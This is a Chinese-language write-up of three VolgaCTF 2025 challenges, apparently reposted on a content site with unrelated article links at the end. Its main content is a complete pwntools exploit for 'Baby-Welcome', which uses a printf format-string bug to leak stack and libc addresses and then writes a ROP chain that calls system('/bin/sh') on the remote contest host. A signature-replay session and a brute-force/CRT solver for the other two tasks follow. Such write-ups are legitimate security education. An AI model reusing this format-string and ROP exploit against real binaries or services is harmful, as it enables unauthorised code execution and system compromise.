[VolgaCTF 2025] Baby-Welcome,BrokeBroke,Field Rules

这个就做了俩题,其实再努力点就是3个。不过最近也算是好成绩了,45名。国外的比赛对我来说还算是比较难的。

Baby-Welcome

这个流程还挺麻烦,先是注册用户,登录的用户可以给其它用户发消息。收到消息的用户可以显示消息,这里有个printf漏洞。

有个比较麻烦的就是他并不会删除,所以要不断注册用户。登入登出才麻烦了。再有就是输入不在栈内要用栈里现有的链。

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc6_2.40-1ubuntu3.1_amd64.so')#unlogined
def reg(id):p.sendlineafter(b"> ", b'1')p.sendlineafter(b"Login: ", str(id).encode())p.sendlineafter(b"Password: ", str(id).encode())def login(id):p.sendlineafter(b"> ", b'2')p.sendlineafter(b"Login: ", str(id).encode())p.sendlineafter(b"Password: ", str(id).encode())#logined
def send(msg,to):p.sendlineafter(b"> ", b'1')p.sendlineafter(b"Login: ", str(to).encode())p.sendlineafter(b"Message: ", msg)def show():p.sendlineafter(b"> ", b'2')def logout():p.sendlineafter(b"> ", b'3')def doshow(id,msg):reg(id)logout()login(0)send(msg,id)logout()login(id)show()msg = p.recvline()logout()return msg'''
00:0000│ rsp 0x7fffffffdcf0 ◂— 0x2ffffdd00
01:0008│-008 0x7fffffffdcf8 —▸ 0x55555555b950 —▸ 0x55555555b2a0 —▸ 0x55555555b2d0 ◂— 0x30 /* '0' */
02:0010│ rbp 0x7fffffffdd00 —▸ 0x7fffffffdd20 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdde0 —▸ 0x7fffffffde40 ◂— ...
03:0018│+008 0x7fffffffdd08 —▸ 0x555555555b79 (auth_handlers+99) ◂— jmp 0x555555555b8e
04:0020│+010 0x7fffffffdd10 ◂— 0
05:0028│+018 0x7fffffffdd18 ◂— 0x200000000
06:0030│+020 0x7fffffffdd20 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdde0 —▸ 0x7fffffffde40 ◂— 0
07:0038│+028 0x7fffffffdd28 —▸ 0x555555555bc9 (main+52) ◂— mov dword ptr [rbp - 4], eax
08:0040│+030 0x7fffffffdd30 —▸ 0x7ffff7e124e0 (_IO_2_1_stderr_) ◂— 0xfbad2087
09:0048│+038 0x7fffffffdd38 ◂— 0xffffde68
0a:0050│+040 0x7fffffffdd40 —▸ 0x7fffffffdde0 —▸ 0x7fffffffde40 ◂— 0
0b:0058│+048 0x7fffffffdd48 —▸ 0x7ffff7c2a338 ◂— mov edi, eax                                        #17
0c:0060│+050 0x7fffffffdd50 —▸ 0x7ffff7e124e0 (_IO_2_1_stderr_) ◂— 0xfbad2087
0d:0068│+058 0x7fffffffdd58 —▸ 0x7fffffffde68 —▸ 0x7fffffffe1fb ◂— './baby-welcome'
0e:0070│+060 0x7fffffffdd60 ◂— 0x100000000
0f:0078│+068 0x7fffffffdd68 —▸ 0x555555555b95 (main) ◂— push rbp
10:0080│+070 0x7fffffffdd70 —▸ 0x7fffffffde68 —▸ 0x7fffffffe1fb ◂— './baby-welcome'                  #22
11:0088│+078 0x7fffffffdd78 ◂— 0xe177d97362534bed
12:0090│+080 0x7fffffffdd80 ◂— 1
13:0098│+088 0x7fffffffdd88 ◂— 0
14:00a0│+090 0x7fffffffdd90 —▸ 0x555555557d68 —▸ 0x555555555190 ◂— endbr64 
15:00a8│+098 0x7fffffffdd98 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
16:00b0│+0a0 0x7fffffffdda0 ◂— 0xe177d97363334bed
17:00b8│+0a8 0x7fffffffdda8 ◂— 0xe177c9099c4d4bed
18:00c0│+0b0 0x7fffffffddb0 ◂— 0x7fff00000000
19:00c8│+0b8 0x7fffffffddb8 ◂— 0
1a:00d0│+0c0 0x7fffffffddc0 ◂— 0
1b:00d8│+0c8 0x7fffffffddc8 —▸ 0x555555557d68 —▸ 0x555555555190 ◂— endbr64 
1c:00e0│+0d0 0x7fffffffddd0 —▸ 0x7fffffffdde0 —▸ 0x7fffffffde40 ◂— 0
1d:00e8│+0d8 0x7fffffffddd8 ◂— 0xb6d653f4daf19f00
1e:00f0│+0e0 0x7fffffffdde0 —▸ 0x7fffffffde40 ◂— 0
1f:00f8│+0e8 0x7fffffffdde8 —▸ 0x7ffff7c2a3fb (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1e6b86]
'''#p = process('./baby-welcome')
p = remote('baby-welcome-1.q.2025.volgactf.ru', 31338)reg(0)
logout()msg = doshow(1, b"%8$p %17$p ").split(b' ')
#b'From 0: 0x7fffffffdd20 0x7ffff7c2a338 \n'
stack = int(msg[2], 16) +0x28 #ret
libc.address = int(msg[3], 16) - 0x2a3b8
print(f"{stack = :x} {libc.address = :x}")pop_rdi = libc.address + 0x2a8ab # pop rdi;pop rbp; ret ; ret 0xcee4d 4u1  0x7c58d 1u1doshow(2, f"%{(stack-8)&0xffff}c%22$hn".encode())
bin_sh = libc.address + 0x1d944a #next(libc.search(b'/bin/sh\0'))
system = libc.address + 0x5af30 #libc.sym['system']
print(hex(pop_rdi), hex(bin_sh), hex(system))sp = stack + 2
doshow(3, f"%{(sp-8)&0xff}c%22$hhn%{(pop_rdi-(sp&0xff))&0xffff}c%53$ln".encode())
sp = stack+4
doshow(4, f"%{(sp-8)&0xff}c%22$hhn%{(((pop_rdi)>>16)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack+8
doshow(5, f"%{(sp-8)&0xff}c%22$hhn%{(((pop_rdi)>>32)-(sp&0xff))&0xffff}c%53$hn".encode())sp = stack + 10
doshow(9, f"%{(sp-8)&0xff}c%22$hhn%{(bin_sh-(sp&0xff))&0xffff}c%53$ln".encode())
sp = stack+ 12
doshow(10, f"%{(sp-8)&0xff}c%22$hhn%{(((bin_sh)>>16)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack+ 24
doshow(11, f"%{(sp-8)&0xff}c%22$hhn%{(((bin_sh)>>32)-(sp&0xff))&0xffff}c%53$hn".encode())sp = stack + 26
doshow(12, f"%{(sp-8)&0xff}c%22$hhn%{(system-(sp&0xff))&0xffff}c%53$ln".encode())
sp = stack + 28
doshow(13, f"%{(sp-8)&0xff}c%22$hhn%{(((system)>>16)-(sp&0xff))&0xffff}c%53$hn".encode())
sp = stack - 0xc
doshow(14, f"%{(sp-8)&0xff}c%22$hhn%{(((system)>>32)-(sp&0xff))&0xffff}c%53$hn".encode())#gdb.attach(p, "b*0x555555555ab3\nc")
doshow(15, f"%53$hn")p.interactive()#VolgaCTF{%s_1_l1k3_3@5y_t@5k5_y0u_t00?_b2ffac756ffd1df0e033eab50f3c0ba6}

Broke Broke

一个签名的题,验签通过就能拿flag,而且并不验证签名跟原来的是不是相同。这不明显白送吗。居然只有22队答出。

└─$ nc crypto-broke-bloke-1.q.2025.volgactf.ru 32768
Please, crack me open
> sign
m: 4d617962652063727970746f207761732074686520667269656e64732074686174207765207369676e656420616c6f6e672074686520776179
rs: 2341a128b3ddfa25abdd9be620747340c31ecbcdf0ed3d66cab9483cc866cb39b58d3a4feefe6fadcc5dd23cbe424080ec24d2be5f2d4bd1ce636a5ae71e70bb
> verify
rs: 2341a128b3ddfa25abdd9be620747340c31ecbcdf0ed3d66cab9483cc866cb39b58d3a4feefe6fadcc5dd23cbe424080ec24d2be5f2d4bd1ce636a5ae71e70bb
Hooray, here's your flag: VolgaCTF{r4nd0m_c4n_h4v3_50m3_fun_r34l710n5_}

Field Rules

这个当时没作出来,看似简单最后放弃。

from functools import reduce
from operator import mul
from os import urandomfrom Crypto.Util.number import getPrimefrom secret import flagROUNDS, m, k = 512, 20, 78
key = int.from_bytes(flag)
target_bl = len(flag) * 8
prime_base = [getPrime(m) for _ in range(-(-target_bl // m) + 1)]
n = reduce(mul, prime_base, 1)
e_len = -(-n.bit_length() // 8)assert key < ndef encrypt(m: bytes, key: int) -> bytes:e = int.from_bytes(m)for _ in range(ROUNDS - 1):e += keye = pow(e, k, n)e = (e + key) % nreturn e.to_bytes(e_len, "big")msgs, encs = [], []
for i in range(10):m = urandom(len(flag))msgs.append(m)encs.append(encrypt(m, key))with open("output.py", "wt") as f:f.write(f"{msgs, encs, n =}")

这个东西从逆向看是完全推不出来的。因为加密有511轮,而且每次加key次数太多。

漏洞在于n是由17个20位小素数ps组成。如果用一个因子作模那么key就只需要爆破20位,这样难度并不大,集齐17个再与ps作CRT就行了。

不过爆破完后发现不成功,然后用2个明文爆破也不成功就放弃了。虽然这里有些相同的值可以减少爆破量但也是个大数字,第3个也不成功就放弃了。今天又爆破了几小时,发现最后两个成功。为啥不从后爆破呢!!!

#爆破20位
from tqdm import trange,tqdm
from Crypto.Util.number import *
import multiprocessingROUNDS, m, k = 512, 20, 78def encrypt(m, key, p):e = mfor _ in range(ROUNDS - 1):e += keye = pow(e, k, p)e = (e + key) % preturn ems = [bytes_to_long(i) for i in msgs]
cs = [bytes_to_long(i) for i in encs]
ps = [552583,594271,616211,645097,664369,684569,709231,770587,787547,794473,871177,909599,910099,964309,982063,982147,997357]def solve(j):p = ps[j]if encrypt(ms[idx]%p,tvs[j],p) == cs[idx]%p:vs.append(tvs[j])print('old', tvs[j],p)returnfor i in trange(p):v = encrypt(ms[idx]%p,i,p)if v == cs[idx]%p:vs.append(i)print(i,p)returnfor idx in range(4,len(ms)):vs = []for j in range(len(ps)):solve(j)print(vs)long_to_bytes(crt(vs,ps))tvs = vs#最后两个
#vs = [243969,47740,560253,72977,546460,    646230,663540,464139,755126,679225,50886,380110,228601,569223,437765,   858254, 215578]
long_to_bytes(crt(vs,ps))
#VolgaCTF{bru73_f0rc3_m3_l0v3_50m371m35}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/75571.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

再见VS Code!Google IDE 正颠覆传统开发体验

云端开发的革命&#xff1a;Google Project IDX 如何颠覆传统开发体验 在软件开发领域&#xff0c;Google 最新推出的 Project IDX 绝非仅仅是另一个“基于浏览器的 VS Code”——它是一次真正的范式转变。与 VS Code、Cursor 等传统工具不同&#xff0c;IDX 是一个完全云原生的…

NLP高频面试题(三十六)——深入理解思维链(Chain-of-Thought)提示方法

一、什么是思维链提示&#xff08;CoT&#xff09;&#xff1f; 思维链提示是一种新颖的提示方法&#xff0c;通过向模型提供少量的推理步骤示范&#xff0c;让语言模型在给出最终答案之前展示出自己的推理过程。其核心思想在于鼓励模型模仿人类逐步推理的方式&#xff0c;从而…

探索新一代大模型代理(LLM agent)及其架构

在人工智能大模型(AI)的浪潮中&#xff0c;2023年我们见证了检索增强生成(Retrieval Augmented Generation, RAG)的兴起&#xff0c;而2024年则无疑成为了“代理”agent的元年。各大AI企业纷纷投身于聊天机器人代理的研发中&#xff0c;工具如MultiOn通过与外部网站的连接实现了…

26考研——线性表_ 线性表的链式表示_双循环链表(2)

408答疑 文章目录 三、 线性表的链式表示双循环链表单链表与双链表的比较单链表的特点双链表的特点 双链表上基本操作的实现双链表的插入操作双链表的删除操作 双链表的代码实操定义结点创建一个结点带头结点的双链表初始化创建双链表打印双链表查找结点插入结点在指定节点后插…

【备忘】在Docker中安装宝塔面板,实现环境隔离,又能快速迁移服务器环境

我的环境是阿里云服务器&#xff08;新环境&#xff09; 【待继续】 【新方法】 我已经安装了docker&#xff0c;所以这里我先卸载。 卸载命令&#xff1a; sudo yum remove docker* containerd.io -y Docker默认保存位置是/var/lib/docker/&#xff0c;卸载Docker时&#x…

池化技术的深度解析与实践指南【大模型总结】

池化技术的深度解析与实践指南 池化技术作为计算机系统中的核心优化手段&#xff0c;通过资源复用和预分配机制显著提升系统性能。本文将从原理、实现到最佳实践&#xff0c;全方位剖析池化技术的核心要点&#xff0c;并结合实际案例说明其应用场景与调优策略。 一、池化技术的…

HCIP【BGP协议(详解)】

目录 1 BGP协议产生背景 2 BGP协议特性 2.1 自治系统间路由传播 2.2 路由矢量协议 2.3 防环机制 2.4 基于TCP传输 2.5 路由更新机制 2.6 丰富的路由属性 2.7 支持CIDR和路由聚合 2.8 路由过滤和策略控制 2.9 动态对等体功能 3 BGP基本术语 4 BGP规划问题 4.1 路…

VirtualBox 配置双网卡(NAT + 桥接)详细步骤

在 VirtualBox 中为 CentOS 虚拟机配置双网卡&#xff08;NAT 桥接&#xff09;&#xff0c;使其既能访问外网&#xff08;NAT&#xff09;&#xff0c;又能与宿主机&#xff08;Windows 10&#xff09;或局域网通信&#xff08;桥接&#xff09;。 步骤 1&#xff1a;关闭虚…

Upload-labs靶场通关

之前搭好了靶场&#xff0c;Upload-labs 靶场搭建 及一句话木马的原理与运用-CSDN博客 今天开始通关并写详细流程 Pass-1 来到靶场的第一关 先随便上传php 代码 点击上传 发现文件类型被限制了 方法1&#xff1a; 改文件后缀为合法文件&#xff08;.jpg .png .gif&#xf…

[GN] Python3基本数据类型 -- 与C的差异

Python3 面向对象 文章目录 Python3的基本数据类型6个标准的数据类型NumbersStringListtupleSetsDictionaries Python运算符逻辑 运算符成员运算符身份运算符 Python3 数字Python3 序列序列切片序列相加序列相乘序列相关内置函数 Python3 列表访问列表的值更新列表删除列表元素…

MCP over MQTT:EMQX 开启物联网 Agentic 时代

前言 随着 DeepSeek 等大语言模型&#xff08;LLM&#xff09;的广泛应用&#xff0c;如何找到合适的场景&#xff0c;并基于这些大模型构建服务于各行各业的智能体成为关键课题。在社区中&#xff0c;支持智能体开发的基础设施和工具层出不穷&#xff0c;其中&#xff0c;Ant…

AI助力高效PPT制作:从内容生成到设计优化

随着人工智能技术的不断发展&#xff0c;AI在各个领域的应用日益普及&#xff0c;尤其是在文档和演示文稿的创建过程中。PowerPoint&#xff08;PPT&#xff09;作为最常用的演示工具之一&#xff0c;借助AI的技术手段&#xff0c;可以极大地提高制作效率并提升最终呈现效果。在…

学透Spring Boot — 009. Spring Boot的四种 Http 客户端

目录 常见的HttpClient Spring 提供的HttpClient RestTemplate Spring 提供的模板类 XXXTemplate RestTemplate的使用 RestTemplate的使用技巧 RestTemplate的问题 RestClient RestClinet的基本使用 RestClient的自动配置 RestClient 序列化对象 异常处理 onStatus …

leetcode117 填充每个节点的下一个右侧节点指针2

LeetCode 116 和 117 都是关于填充二叉树节点的 next 指针的问题&#xff0c;但它们的区别在于 树的类型 不同&#xff0c;117与 116 题类似&#xff0c;但给定的树是 普通二叉树&#xff08;不一定完全填充&#xff09;&#xff0c;即某些节点可能缺少左或右子节点。 树的结构…

软考系统架构师 — 4 嵌入式软件

目录 4.1 考点分析 4.2 嵌入式微处理器 4.2.1嵌入式微处理器体系结构 5.2.2 嵌入式微处理器分类 4.2.3 多核处理器 4.3 嵌入式软件 4.4 嵌入式系统 4.4.1 嵌入式系统的组成 4.4.2 嵌入式系统分类 4.4.3 嵌入式数据库系统DBMS 4.4.4 嵌入式操作系统OS 4.4.5 嵌入式实…

RocketMQ 中的 ProducerManager 组件剖析

一、引言 在分布式系统的消息传递领域&#xff0c;RocketMQ 以其高性能、高可用性和强大的扩展性脱颖而出。ProducerManager 作为 RocketMQ 中的一个关键组件&#xff0c;在消息生产环节发挥着至关重要的作用。它负责管理消息生产者&#xff08;Producer&#xff09;的生命周期…

k8s进阶之路:本地集群环境搭建

概述 文章将带领大家搭建一个 master 节点&#xff0c;两个 node 节点的 k8s 集群&#xff0c;容器基于 docker&#xff0c;k8s 版本 v1.32。 一、系统安装 安装之前请大家使用虚拟机将 ubuntu24.04 系统安装完毕&#xff0c;我是基于 mac m1 的系统进行安装的&#xff0c;所…

深度学习数据集划分比例多少合适

在机器学习和深度学习中&#xff0c;测试集的划分比例需要根据数据量、任务类型和领域需求灵活调整。 1. 常规划分比例 通用场景 训练集 : 验证集 : 测试集 60% : 20% : 20% 适用于大多数中等规模数据集&#xff08;如数万到数十万样本&#xff09;&#xff0c;平衡了训练数…

【TS学习】(15)分布式条件特性

在 TypeScript 中&#xff0c;分布式条件类型&#xff08;Distributive Conditional Types&#xff09; 是一种特殊的行为&#xff0c;发生在条件类型作用于裸类型参数&#xff08;Naked Type Parameter&#xff09; 时。这种特性使得条件类型可以“分布”到联合类型的每个成员…

NSSCTF [HGAME 2023 week1]simple_shellcode

3488.[HGAME 2023 week1]simple_shellcode 手写read函数shellcode和orw [HGAME 2023 week1]simple_shellcode (1) motalymotaly-VMware-Virtual-Platform:~/桌面$ file vuln vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpret…